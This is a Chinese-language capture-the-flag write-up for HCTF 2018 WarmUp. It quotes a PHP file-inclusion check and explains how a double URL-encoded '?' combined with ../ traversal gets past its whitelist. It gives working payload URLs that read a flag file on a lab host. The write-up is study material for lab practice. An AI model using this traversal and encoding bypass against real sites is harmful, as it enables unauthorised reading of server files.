[HCTF 2018]WarmUp
查看源代码,发现有提示,source.php
访问source.php,得到如下源代码
1 <?php 2 highlight_file(__FILE__); 3 class emmm 4 { 5 public static function checkFile(&$page) 6 { 7 $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; 8 if (! isset($page) || !is_string($page)) { 9 echo "you can't see it"; 10 return false; 11 } 12 13 if (in_array($page, $whitelist)) { 14 return true; 15 } 16 17 $_page = mb_substr( 18 $page, 19 0, 20 mb_strpos($page . '?', '?') 21 ); 22 if (in_array($_page, $whitelist)) { 23 return true; 24 } 25 26 $_page = urldecode($page); 27 $_page = mb_substr( 28 $_page, 29 0, 30 mb_strpos($_page . '?', '?') 31 ); 32 if (in_array($_page, $whitelist)) { 33 return true; 34 } 35 echo "you can't see it"; 36 return false; 37 } 38 } 39 40 if (! empty($_REQUEST['file']) 41 && is_string($_REQUEST['file']) 42 && emmm::checkFile($_REQUEST['file']) 43 ) { 44 include $_REQUEST['file']; 45 exit; 46 } else { 47 echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; 48 } 49 ?>
代码有一个emmm类可以不用先浏览,直接看整体代码执行逻辑
1 if (! empty($_REQUEST['file']) 2 && is_string($_REQUEST['file']) 3 && emmm::checkFile($_REQUEST['file']) 4 ) { 5 include $_REQUEST['file']; 6 exit; 7 } else { 8 echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; 9 }
第5行有include函数,表示可能存在文件包含漏洞
第1行的if语句表示如果file参数不为空,为字符串,并且通过emmm类的checkFile函数后,便能进行文件包含操作
从source.php代码第7行可以知道我们需要进行白名单文件包含绕过
1 $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
source.php第20行代码的意思是在$page参数后面添加?,然后截取一直到?的长度,意思就是计算$page字符串的长度
1 mb_strpos($page . '?', '?')
mb_strpos()
访问hint.php,发现如下提示
ffffllllaaaagggg可能是一个文件,但是不知道具体位置,在CTF比赛中一般来说就是系统根目录或者网站根目录
source.php第26行代码为重点,这个地方进行了url解码,所以可以尝试进行二次编码绕过
1 $_page = urldecode($page);
payload
1 http://8d6d6d29-dd4d-4110-9c8a-f3f22aafcbcc.node3.buuoj.cn/source.php?file=hint.php%253F/../hint.php
URL编码转换如下展示
%25-->%
%3F-->?
%253F-->%3F-->?
1 $_page = mb_substr( 2 $_page, 3 0, 4 mb_strpos($_page . '?', '?') 5 );
这段代码会截取hint.php的长度,然后将hint.php赋值给$_page,因为hint.php在白名单内,所以绕过了检测,另外代码没有进行../目录穿越的过滤
所以尝试一级一级的穿越,查找flag文件
最终payload如下
1 http://8d6d6d29-dd4d-4110-9c8a-f3f22aafcbcc.node3.buuoj.cn/source.php?file=hint.php%253F/../../../../ffffllllaaaagggg
为什么是4个../,包含的文件在一级目录,linux的web目录应该为/var/www/html